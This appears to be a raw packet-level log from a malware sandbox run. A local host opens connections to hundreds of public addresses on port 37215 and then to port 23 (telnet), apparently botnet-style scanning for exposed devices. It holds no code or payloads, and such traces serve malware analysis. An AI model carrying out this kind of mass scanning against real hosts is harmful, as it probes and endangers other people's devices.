Dec 3, 2024 22:02:03.016352892 CET	37215	40832	156.79.110.46	192.168.2.14
Dec 3, 2024 22:02:03.016382933 CET	40832	37215	192.168.2.14	156.79.110.46
Dec 3, 2024 22:02:03.016382933 CET	40832	37215	192.168.2.14	156.18.140.14
Dec 3, 2024 22:02:03.016383886 CET	40832	37215	192.168.2.14	156.79.246.90
Dec 3, 2024 22:02:03.016463041 CET	37215	40832	41.120.64.223	192.168.2.14
Dec 3, 2024 22:02:03.016479969 CET	37215	40832	156.129.55.251	192.168.2.14
Dec 3, 2024 22:02:03.016489029 CET	37215	40832	41.12.21.54	192.168.2.14
Dec 3, 2024 22:02:03.016498089 CET	37215	40832	41.22.243.184	192.168.2.14
Dec 3, 2024 22:02:03.016500950 CET	40832	37215	192.168.2.14	41.120.64.223
Dec 3, 2024 22:02:03.016508102 CET	37215	40832	41.97.202.38	192.168.2.14
Dec 3, 2024 22:02:03.016515970 CET	40832	37215	192.168.2.14	156.129.55.251
Dec 3, 2024 22:02:03.016515970 CET	40832	37215	192.168.2.14	41.12.21.54
Dec 3, 2024 22:02:03.016522884 CET	37215	40832	156.123.151.3	192.168.2.14
Dec 3, 2024 22:02:03.016534090 CET	37215	40832	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:03.016542912 CET	40832	37215	192.168.2.14	41.22.243.184
Dec 3, 2024 22:02:03.016546965 CET	40832	37215	192.168.2.14	41.97.202.38
Dec 3, 2024 22:02:03.016546965 CET	37215	40832	197.98.147.253	192.168.2.14
Dec 3, 2024 22:02:03.016562939 CET	37215	40832	156.134.60.80	192.168.2.14
Dec 3, 2024 22:02:03.016565084 CET	40832	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.016565084 CET	40832	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.016572952 CET	37215	40832	41.198.32.202	192.168.2.14
Dec 3, 2024 22:02:03.016573906 CET	40832	37215	192.168.2.14	197.98.147.253
Dec 3, 2024 22:02:03.016582966 CET	37215	40832	156.143.128.146	192.168.2.14
Dec 3, 2024 22:02:03.016599894 CET	40832	37215	192.168.2.14	156.134.60.80
Dec 3, 2024 22:02:03.016603947 CET	40832	37215	192.168.2.14	41.198.32.202
Dec 3, 2024 22:02:03.016607046 CET	37215	40832	41.231.49.236	192.168.2.14
Dec 3, 2024 22:02:03.016611099 CET	40832	37215	192.168.2.14	156.143.128.146
Dec 3, 2024 22:02:03.016616106 CET	37215	40832	41.184.96.173	192.168.2.14
Dec 3, 2024 22:02:03.016643047 CET	40832	37215	192.168.2.14	41.231.49.236
Dec 3, 2024 22:02:03.016644001 CET	40832	37215	192.168.2.14	41.184.96.173
Dec 3, 2024 22:02:03.016655922 CET	37215	40832	41.249.74.18	192.168.2.14
Dec 3, 2024 22:02:03.016664982 CET	37215	40832	41.115.247.2	192.168.2.14
Dec 3, 2024 22:02:03.016669035 CET	37215	40832	41.61.147.3	192.168.2.14
Dec 3, 2024 22:02:03.016690969 CET	40832	37215	192.168.2.14	41.115.247.2
Dec 3, 2024 22:02:03.016694069 CET	40832	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.016696930 CET	37215	40832	41.173.178.106	192.168.2.14
Dec 3, 2024 22:02:03.016699076 CET	40832	37215	192.168.2.14	41.61.147.3
Dec 3, 2024 22:02:03.016721010 CET	37215	40832	197.115.182.63	192.168.2.14
Dec 3, 2024 22:02:03.016731024 CET	37215	40832	41.120.62.47	192.168.2.14
Dec 3, 2024 22:02:03.016740084 CET	37215	40832	156.117.58.103	192.168.2.14
Dec 3, 2024 22:02:03.016743898 CET	40832	37215	192.168.2.14	41.173.178.106
Dec 3, 2024 22:02:03.016762972 CET	40832	37215	192.168.2.14	197.115.182.63
Dec 3, 2024 22:02:03.016766071 CET	40832	37215	192.168.2.14	41.120.62.47
Dec 3, 2024 22:02:03.016771078 CET	40832	37215	192.168.2.14	156.117.58.103
Dec 3, 2024 22:02:03.016808987 CET	37215	40832	41.9.64.69	192.168.2.14
Dec 3, 2024 22:02:03.016819000 CET	37215	40832	41.251.226.147	192.168.2.14
Dec 3, 2024 22:02:03.016832113 CET	37215	40832	41.195.133.160	192.168.2.14
Dec 3, 2024 22:02:03.016841888 CET	37215	40832	197.30.213.105	192.168.2.14
Dec 3, 2024 22:02:03.016875982 CET	40832	37215	192.168.2.14	41.251.226.147
Dec 3, 2024 22:02:03.016875982 CET	40832	37215	192.168.2.14	41.9.64.69
Dec 3, 2024 22:02:03.016877890 CET	40832	37215	192.168.2.14	41.195.133.160
Dec 3, 2024 22:02:03.016882896 CET	40832	37215	192.168.2.14	197.30.213.105
Dec 3, 2024 22:02:03.017462969 CET	37215	40832	41.94.188.15	192.168.2.14
Dec 3, 2024 22:02:03.017472982 CET	37215	40832	41.88.167.184	192.168.2.14
Dec 3, 2024 22:02:03.017507076 CET	40832	37215	192.168.2.14	41.88.167.184
Dec 3, 2024 22:02:03.017527103 CET	40832	37215	192.168.2.14	41.94.188.15
Dec 3, 2024 22:02:03.017561913 CET	37215	40832	41.10.67.160	192.168.2.14
Dec 3, 2024 22:02:03.017574072 CET	37215	40832	41.214.27.195	192.168.2.14
Dec 3, 2024 22:02:03.017600060 CET	37215	40832	41.52.157.108	192.168.2.14
Dec 3, 2024 22:02:03.017601013 CET	40832	37215	192.168.2.14	41.10.67.160
Dec 3, 2024 22:02:03.017602921 CET	40832	37215	192.168.2.14	41.214.27.195
Dec 3, 2024 22:02:03.017610073 CET	37215	40832	41.115.11.228	192.168.2.14
Dec 3, 2024 22:02:03.017618895 CET	37215	40832	197.247.250.5	192.168.2.14
Dec 3, 2024 22:02:03.017627954 CET	40832	37215	192.168.2.14	41.52.157.108
Dec 3, 2024 22:02:03.017632008 CET	37215	40832	41.85.85.9	192.168.2.14
Dec 3, 2024 22:02:03.017640114 CET	40832	37215	192.168.2.14	41.115.11.228
Dec 3, 2024 22:02:03.017647028 CET	37215	40832	197.203.167.250	192.168.2.14
Dec 3, 2024 22:02:03.017654896 CET	40832	37215	192.168.2.14	197.247.250.5
Dec 3, 2024 22:02:03.017657042 CET	37215	40832	41.73.129.181	192.168.2.14
Dec 3, 2024 22:02:03.017666101 CET	37215	40832	197.42.48.161	192.168.2.14
Dec 3, 2024 22:02:03.017666101 CET	40832	37215	192.168.2.14	41.85.85.9
Dec 3, 2024 22:02:03.017677069 CET	40832	37215	192.168.2.14	197.203.167.250
Dec 3, 2024 22:02:03.017677069 CET	40832	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.017680883 CET	37215	40832	156.45.65.153	192.168.2.14
Dec 3, 2024 22:02:03.017697096 CET	37215	40832	156.69.73.223	192.168.2.14
Dec 3, 2024 22:02:03.017699003 CET	40832	37215	192.168.2.14	197.42.48.161
Dec 3, 2024 22:02:03.017707109 CET	37215	40832	156.29.220.230	192.168.2.14
Dec 3, 2024 22:02:03.017715931 CET	37215	40832	197.238.16.194	192.168.2.14
Dec 3, 2024 22:02:03.017726898 CET	37215	40832	156.5.78.161	192.168.2.14
Dec 3, 2024 22:02:03.017730951 CET	40832	37215	192.168.2.14	156.69.73.223
Dec 3, 2024 22:02:03.017736912 CET	37215	40832	41.228.141.86	192.168.2.14
Dec 3, 2024 22:02:03.017739058 CET	40832	37215	192.168.2.14	156.45.65.153
Dec 3, 2024 22:02:03.017745018 CET	37215	40832	156.191.95.166	192.168.2.14
Dec 3, 2024 22:02:03.017755032 CET	37215	40832	156.177.137.56	192.168.2.14
Dec 3, 2024 22:02:03.017759085 CET	40832	37215	192.168.2.14	197.238.16.194
Dec 3, 2024 22:02:03.017765999 CET	37215	40832	197.178.64.233	192.168.2.14
Dec 3, 2024 22:02:03.017765999 CET	40832	37215	192.168.2.14	156.5.78.161
Dec 3, 2024 22:02:03.017776012 CET	37215	40832	156.232.48.11	192.168.2.14
Dec 3, 2024 22:02:03.017781973 CET	40832	37215	192.168.2.14	156.29.220.230
Dec 3, 2024 22:02:03.017781973 CET	40832	37215	192.168.2.14	41.228.141.86
Dec 3, 2024 22:02:03.017786026 CET	37215	40832	197.111.127.130	192.168.2.14
Dec 3, 2024 22:02:03.017786980 CET	40832	37215	192.168.2.14	156.191.95.166
Dec 3, 2024 22:02:03.017786980 CET	40832	37215	192.168.2.14	156.177.137.56
Dec 3, 2024 22:02:03.017796040 CET	37215	40832	197.83.84.192	192.168.2.14
Dec 3, 2024 22:02:03.017803907 CET	40832	37215	192.168.2.14	197.178.64.233
Dec 3, 2024 22:02:03.017803907 CET	40832	37215	192.168.2.14	156.232.48.11
Dec 3, 2024 22:02:03.017805099 CET	37215	40832	156.237.57.104	192.168.2.14
Dec 3, 2024 22:02:03.017815113 CET	37215	40832	41.206.13.183	192.168.2.14
Dec 3, 2024 22:02:03.017822027 CET	37215	40832	197.144.179.42	192.168.2.14
Dec 3, 2024 22:02:03.017827034 CET	40832	37215	192.168.2.14	197.111.127.130
Dec 3, 2024 22:02:03.017828941 CET	40832	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.017838001 CET	40832	37215	192.168.2.14	156.237.57.104
Dec 3, 2024 22:02:03.017838955 CET	40832	37215	192.168.2.14	41.206.13.183
Dec 3, 2024 22:02:03.017873049 CET	40832	37215	192.168.2.14	197.144.179.42
Dec 3, 2024 22:02:03.027606964 CET	37215	56092	156.71.207.31	192.168.2.14
Dec 3, 2024 22:02:03.027684927 CET	56092	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:03.028414965 CET	39168	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.029108047 CET	52462	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.029763937 CET	39102	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.030411005 CET	52312	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.031145096 CET	48840	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.031825066 CET	52802	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.032452106 CET	57470	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.033067942 CET	37048	37215	192.168.2.14	41.137.28.215
Dec 3, 2024 22:02:03.033714056 CET	39768	37215	192.168.2.14	41.169.49.210
Dec 3, 2024 22:02:03.034337044 CET	34508	37215	192.168.2.14	41.204.234.62
Dec 3, 2024 22:02:03.034996986 CET	60886	37215	192.168.2.14	156.233.121.125
Dec 3, 2024 22:02:03.035617113 CET	37215	57752	197.47.140.171	192.168.2.14
Dec 3, 2024 22:02:03.035629988 CET	53476	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.035657883 CET	57752	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:03.036267996 CET	40602	37215	192.168.2.14	197.127.184.231
Dec 3, 2024 22:02:03.036921024 CET	40570	37215	192.168.2.14	197.158.210.226
Dec 3, 2024 22:02:03.037564993 CET	53800	37215	192.168.2.14	156.65.17.105
Dec 3, 2024 22:02:03.038183928 CET	33284	37215	192.168.2.14	41.221.7.205
Dec 3, 2024 22:02:03.038805008 CET	55902	37215	192.168.2.14	197.71.132.97
Dec 3, 2024 22:02:03.039412975 CET	58410	37215	192.168.2.14	197.45.49.70
Dec 3, 2024 22:02:03.040035963 CET	44300	37215	192.168.2.14	41.52.89.148
Dec 3, 2024 22:02:03.040663004 CET	55454	37215	192.168.2.14	156.247.110.96
Dec 3, 2024 22:02:03.041424990 CET	50126	37215	192.168.2.14	41.150.87.238
Dec 3, 2024 22:02:03.042077065 CET	34718	37215	192.168.2.14	41.169.211.235
Dec 3, 2024 22:02:03.042690039 CET	59542	37215	192.168.2.14	41.212.7.29
Dec 3, 2024 22:02:03.043315887 CET	55350	37215	192.168.2.14	41.197.166.51
Dec 3, 2024 22:02:03.043939114 CET	52006	37215	192.168.2.14	156.53.134.68
Dec 3, 2024 22:02:03.044558048 CET	48744	37215	192.168.2.14	197.178.163.42
Dec 3, 2024 22:02:03.045207024 CET	55098	37215	192.168.2.14	41.198.162.115
Dec 3, 2024 22:02:03.045876980 CET	52242	37215	192.168.2.14	156.35.166.92
Dec 3, 2024 22:02:03.046572924 CET	48240	37215	192.168.2.14	156.46.78.126
Dec 3, 2024 22:02:03.047230005 CET	40712	37215	192.168.2.14	197.138.171.55
Dec 3, 2024 22:02:03.047794104 CET	37215	54222	156.128.181.170	192.168.2.14
Dec 3, 2024 22:02:03.047835112 CET	54222	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:03.047925949 CET	47462	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.048540115 CET	54386	37215	192.168.2.14	156.18.140.14
Dec 3, 2024 22:02:03.049156904 CET	44930	37215	192.168.2.14	156.79.246.90
Dec 3, 2024 22:02:03.049815893 CET	59304	37215	192.168.2.14	156.79.110.46
Dec 3, 2024 22:02:03.050467968 CET	53518	37215	192.168.2.14	41.120.64.223
Dec 3, 2024 22:02:03.051155090 CET	53026	37215	192.168.2.14	156.129.55.251
Dec 3, 2024 22:02:03.051837921 CET	38390	37215	192.168.2.14	41.12.21.54
Dec 3, 2024 22:02:03.052476883 CET	59450	37215	192.168.2.14	41.22.243.184
Dec 3, 2024 22:02:03.053083897 CET	37530	37215	192.168.2.14	41.97.202.38
Dec 3, 2024 22:02:03.069629908 CET	37215	46092	156.193.205.255	192.168.2.14
Dec 3, 2024 22:02:03.069724083 CET	46092	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:03.069855928 CET	48380	37215	192.168.2.14	156.123.151.3
Dec 3, 2024 22:02:03.070118904 CET	37215	56762	41.48.214.226	192.168.2.14
Dec 3, 2024 22:02:03.070154905 CET	56762	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:03.070466042 CET	57616	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:03.071091890 CET	33902	37215	192.168.2.14	197.98.147.253
Dec 3, 2024 22:02:03.071760893 CET	39662	37215	192.168.2.14	156.134.60.80
Dec 3, 2024 22:02:03.072370052 CET	57312	37215	192.168.2.14	41.198.32.202
Dec 3, 2024 22:02:03.072973967 CET	57206	37215	192.168.2.14	156.143.128.146
Dec 3, 2024 22:02:03.073581934 CET	49684	37215	192.168.2.14	41.231.49.236
Dec 3, 2024 22:02:03.074189901 CET	35320	37215	192.168.2.14	41.184.96.173
Dec 3, 2024 22:02:03.074794054 CET	47592	37215	192.168.2.14	41.115.247.2
Dec 3, 2024 22:02:03.075465918 CET	37982	37215	192.168.2.14	41.249.74.18
Dec 3, 2024 22:02:03.075599909 CET	37215	37534	156.138.184.13	192.168.2.14
Dec 3, 2024 22:02:03.075644970 CET	37534	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:03.076134920 CET	52744	37215	192.168.2.14	41.61.147.3
Dec 3, 2024 22:02:03.076817989 CET	51462	37215	192.168.2.14	41.173.178.106
Dec 3, 2024 22:02:03.077440023 CET	35556	37215	192.168.2.14	197.115.182.63
Dec 3, 2024 22:02:03.078069925 CET	60684	37215	192.168.2.14	41.120.62.47
Dec 3, 2024 22:02:03.078677893 CET	41944	37215	192.168.2.14	156.117.58.103
Dec 3, 2024 22:02:03.079278946 CET	46748	37215	192.168.2.14	41.9.64.69
Dec 3, 2024 22:02:03.079881907 CET	37638	37215	192.168.2.14	41.251.226.147
Dec 3, 2024 22:02:03.080466032 CET	59902	37215	192.168.2.14	41.195.133.160
Dec 3, 2024 22:02:03.081087112 CET	60910	37215	192.168.2.14	197.30.213.105
Dec 3, 2024 22:02:03.081741095 CET	51342	37215	192.168.2.14	41.88.167.184
Dec 3, 2024 22:02:03.082370996 CET	48032	37215	192.168.2.14	41.94.188.15
Dec 3, 2024 22:02:03.082977057 CET	54486	37215	192.168.2.14	41.10.67.160
Dec 3, 2024 22:02:03.083597898 CET	40104	37215	192.168.2.14	41.214.27.195
Dec 3, 2024 22:02:03.084227085 CET	34428	37215	192.168.2.14	41.52.157.108
Dec 3, 2024 22:02:03.084831953 CET	43056	37215	192.168.2.14	41.115.11.228
Dec 3, 2024 22:02:03.085450888 CET	50584	37215	192.168.2.14	197.247.250.5
Dec 3, 2024 22:02:03.086042881 CET	46014	37215	192.168.2.14	41.85.85.9
Dec 3, 2024 22:02:03.086719990 CET	32940	37215	192.168.2.14	197.203.167.250
Dec 3, 2024 22:02:03.087376118 CET	50278	37215	192.168.2.14	41.73.129.181
Dec 3, 2024 22:02:03.088007927 CET	50118	37215	192.168.2.14	197.42.48.161
Dec 3, 2024 22:02:03.088622093 CET	44594	37215	192.168.2.14	156.45.65.153
Dec 3, 2024 22:02:03.089204073 CET	47156	37215	192.168.2.14	156.69.73.223
Dec 3, 2024 22:02:03.089838982 CET	49366	37215	192.168.2.14	156.29.220.230
Dec 3, 2024 22:02:03.090425968 CET	34434	37215	192.168.2.14	197.238.16.194
Dec 3, 2024 22:02:03.091028929 CET	51948	37215	192.168.2.14	156.5.78.161
Dec 3, 2024 22:02:03.091675043 CET	43592	37215	192.168.2.14	41.228.141.86
Dec 3, 2024 22:02:03.092333078 CET	56940	37215	192.168.2.14	156.191.95.166
Dec 3, 2024 22:02:03.092950106 CET	39078	37215	192.168.2.14	156.177.137.56
Dec 3, 2024 22:02:03.093580008 CET	33788	37215	192.168.2.14	197.178.64.233
Dec 3, 2024 22:02:03.094170094 CET	56378	37215	192.168.2.14	156.232.48.11
Dec 3, 2024 22:02:03.094769955 CET	60468	37215	192.168.2.14	197.111.127.130
Dec 3, 2024 22:02:03.095415115 CET	54134	37215	192.168.2.14	197.83.84.192
Dec 3, 2024 22:02:03.096065044 CET	56752	37215	192.168.2.14	41.206.13.183
Dec 3, 2024 22:02:03.096755028 CET	50470	37215	192.168.2.14	156.237.57.104
Dec 3, 2024 22:02:03.097340107 CET	49000	37215	192.168.2.14	197.144.179.42
Dec 3, 2024 22:02:03.097974062 CET	56092	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:03.097992897 CET	56092	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:03.098320007 CET	56398	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:03.098700047 CET	57752	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:03.098700047 CET	57752	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:03.098978043 CET	58034	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:03.099327087 CET	54222	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:03.099327087 CET	54222	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:03.099603891 CET	54464	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:03.100024939 CET	46092	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:03.100024939 CET	46092	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:03.100203037 CET	46316	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:03.100550890 CET	56762	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:03.100550890 CET	56762	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:03.100810051 CET	56986	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:03.101136923 CET	37534	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:03.101136923 CET	37534	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:03.101424932 CET	37740	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:03.148304939 CET	37215	39168	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.148361921 CET	39168	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.148513079 CET	39168	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.148520947 CET	39168	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.148915052 CET	39348	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.148993969 CET	37215	52462	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.149029970 CET	52462	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.149409056 CET	52462	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.149409056 CET	52462	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.149599075 CET	37215	39102	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.149640083 CET	39102	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.149693966 CET	52642	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.150140047 CET	39102	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.150140047 CET	39102	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.150373936 CET	37215	52312	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.150445938 CET	52312	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.150448084 CET	39282	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.150896072 CET	52312	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.150896072 CET	52312	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.151011944 CET	37215	48840	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.151047945 CET	48840	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.151213884 CET	52492	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.151675940 CET	37215	52802	41.74.150.174	192.168.2.14
Dec 3, 2024 22:02:03.151717901 CET	52802	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.151784897 CET	48840	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.151784897 CET	48840	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.152077913 CET	49020	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.152264118 CET	37215	57470	41.134.87.124	192.168.2.14
Dec 3, 2024 22:02:03.152299881 CET	57470	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.152472019 CET	52802	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.152472019 CET	52802	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.152836084 CET	52982	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.153356075 CET	57470	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.153356075 CET	57470	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.153654099 CET	57650	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.155631065 CET	37215	53476	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.155683041 CET	53476	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.155752897 CET	53476	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.155752897 CET	53476	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.156068087 CET	53648	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.169631004 CET	37215	47462	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.169686079 CET	47462	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.169740915 CET	47462	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.169740915 CET	47462	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.170073032 CET	47598	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.177644014 CET	39808	23	192.168.2.14	72.222.115.17
Dec 3, 2024 22:02:03.177644014 CET	39808	23	192.168.2.14	130.83.226.37
Dec 3, 2024 22:02:03.177649975 CET	39808	23	192.168.2.14	47.105.222.128
Dec 3, 2024 22:02:03.177653074 CET	39808	23	192.168.2.14	68.20.211.112
Dec 3, 2024 22:02:03.177653074 CET	39808	23	192.168.2.14	116.79.214.105
Dec 3, 2024 22:02:03.177656889 CET	39808	23	192.168.2.14	123.127.212.13
Dec 3, 2024 22:02:03.177659988 CET	39808	23	192.168.2.14	147.206.197.47
Dec 3, 2024 22:02:03.177659988 CET	39808	23	192.168.2.14	61.156.198.17
Dec 3, 2024 22:02:03.177664042 CET	39808	23	192.168.2.14	136.69.117.179
Dec 3, 2024 22:02:03.177670002 CET	39808	23	192.168.2.14	13.51.57.120
Dec 3, 2024 22:02:03.177673101 CET	39808	23	192.168.2.14	157.114.109.53
Dec 3, 2024 22:02:03.177679062 CET	39808	23	192.168.2.14	91.157.155.3
Dec 3, 2024 22:02:03.177680016 CET	39808	23	192.168.2.14	77.105.36.52
Dec 3, 2024 22:02:03.177680016 CET	39808	23	192.168.2.14	200.73.72.93
Dec 3, 2024 22:02:03.177689075 CET	39808	23	192.168.2.14	218.48.97.228
Dec 3, 2024 22:02:03.177697897 CET	39808	23	192.168.2.14	58.235.138.36
Dec 3, 2024 22:02:03.177699089 CET	39808	23	192.168.2.14	144.33.227.56
Dec 3, 2024 22:02:03.177705050 CET	39808	23	192.168.2.14	2.157.31.142
Dec 3, 2024 22:02:03.177705050 CET	39808	23	192.168.2.14	191.112.57.184
Dec 3, 2024 22:02:03.177706957 CET	39808	23	192.168.2.14	178.4.51.250
Dec 3, 2024 22:02:03.177722931 CET	39808	23	192.168.2.14	102.93.88.238
Dec 3, 2024 22:02:03.177722931 CET	39808	23	192.168.2.14	207.197.215.173
Dec 3, 2024 22:02:03.177730083 CET	39808	23	192.168.2.14	179.207.67.244
Dec 3, 2024 22:02:03.177730083 CET	39808	23	192.168.2.14	35.163.226.107
Dec 3, 2024 22:02:03.177730083 CET	39808	23	192.168.2.14	180.254.141.240
Dec 3, 2024 22:02:03.177730083 CET	39808	23	192.168.2.14	104.110.246.111
Dec 3, 2024 22:02:03.177732944 CET	39808	23	192.168.2.14	91.226.244.229
Dec 3, 2024 22:02:03.177736998 CET	39808	23	192.168.2.14	208.45.12.243
Dec 3, 2024 22:02:03.177740097 CET	39808	23	192.168.2.14	144.209.2.151
Dec 3, 2024 22:02:03.177746058 CET	39808	23	192.168.2.14	60.177.250.201
Dec 3, 2024 22:02:03.177758932 CET	39808	23	192.168.2.14	198.107.244.242
Dec 3, 2024 22:02:03.177759886 CET	39808	23	192.168.2.14	43.251.173.227
Dec 3, 2024 22:02:03.177759886 CET	39808	23	192.168.2.14	178.188.97.134
Dec 3, 2024 22:02:03.177759886 CET	39808	23	192.168.2.14	65.213.62.8
Dec 3, 2024 22:02:03.177762032 CET	39808	23	192.168.2.14	221.51.82.247
Dec 3, 2024 22:02:03.177762032 CET	39808	23	192.168.2.14	121.45.235.204
Dec 3, 2024 22:02:03.177783012 CET	39808	23	192.168.2.14	86.201.217.112
Dec 3, 2024 22:02:03.177783012 CET	39808	23	192.168.2.14	167.102.110.122
Dec 3, 2024 22:02:03.177783012 CET	39808	23	192.168.2.14	40.188.115.171
Dec 3, 2024 22:02:03.177783012 CET	39808	23	192.168.2.14	44.59.47.250
Dec 3, 2024 22:02:03.177783012 CET	39808	23	192.168.2.14	147.236.46.35
Dec 3, 2024 22:02:03.177783966 CET	39808	23	192.168.2.14	84.149.129.202
Dec 3, 2024 22:02:03.177803040 CET	39808	23	192.168.2.14	178.141.153.73
Dec 3, 2024 22:02:03.177803040 CET	39808	23	192.168.2.14	129.170.58.29
Dec 3, 2024 22:02:03.177803040 CET	39808	23	192.168.2.14	196.74.175.36
Dec 3, 2024 22:02:03.177809000 CET	39808	23	192.168.2.14	128.155.159.208
Dec 3, 2024 22:02:03.177812099 CET	39808	23	192.168.2.14	103.3.171.87
Dec 3, 2024 22:02:03.177813053 CET	39808	23	192.168.2.14	162.91.32.222
Dec 3, 2024 22:02:03.177813053 CET	39808	23	192.168.2.14	126.198.117.88
Dec 3, 2024 22:02:03.177813053 CET	39808	23	192.168.2.14	1.213.229.4
Dec 3, 2024 22:02:03.177815914 CET	39808	23	192.168.2.14	87.137.64.176
Dec 3, 2024 22:02:03.177818060 CET	39808	23	192.168.2.14	211.48.79.154
Dec 3, 2024 22:02:03.177818060 CET	39808	23	192.168.2.14	111.20.188.29
Dec 3, 2024 22:02:03.177818060 CET	39808	23	192.168.2.14	108.7.85.42
Dec 3, 2024 22:02:03.177818060 CET	39808	23	192.168.2.14	100.29.160.247
Dec 3, 2024 22:02:03.177818060 CET	39808	23	192.168.2.14	66.66.90.63
Dec 3, 2024 22:02:03.177822113 CET	39808	23	192.168.2.14	57.4.112.222
Dec 3, 2024 22:02:03.177823067 CET	39808	23	192.168.2.14	161.203.134.14
Dec 3, 2024 22:02:03.177822113 CET	39808	23	192.168.2.14	166.242.231.8
Dec 3, 2024 22:02:03.177829981 CET	39808	23	192.168.2.14	217.70.153.31
Dec 3, 2024 22:02:03.177829981 CET	39808	23	192.168.2.14	112.133.149.65
Dec 3, 2024 22:02:03.177829981 CET	39808	23	192.168.2.14	101.197.92.151
Dec 3, 2024 22:02:03.177834034 CET	39808	23	192.168.2.14	37.73.210.238
Dec 3, 2024 22:02:03.177833080 CET	39808	23	192.168.2.14	57.229.255.131
Dec 3, 2024 22:02:03.177834988 CET	39808	23	192.168.2.14	218.121.251.196
Dec 3, 2024 22:02:03.177833080 CET	39808	23	192.168.2.14	48.66.61.108
Dec 3, 2024 22:02:03.177835941 CET	39808	23	192.168.2.14	173.171.85.241
Dec 3, 2024 22:02:03.177833080 CET	39808	23	192.168.2.14	64.201.190.118
Dec 3, 2024 22:02:03.177833080 CET	39808	23	192.168.2.14	27.205.0.250
Dec 3, 2024 22:02:03.177833080 CET	39808	23	192.168.2.14	207.53.157.177
Dec 3, 2024 22:02:03.177834034 CET	39808	23	192.168.2.14	114.248.229.144
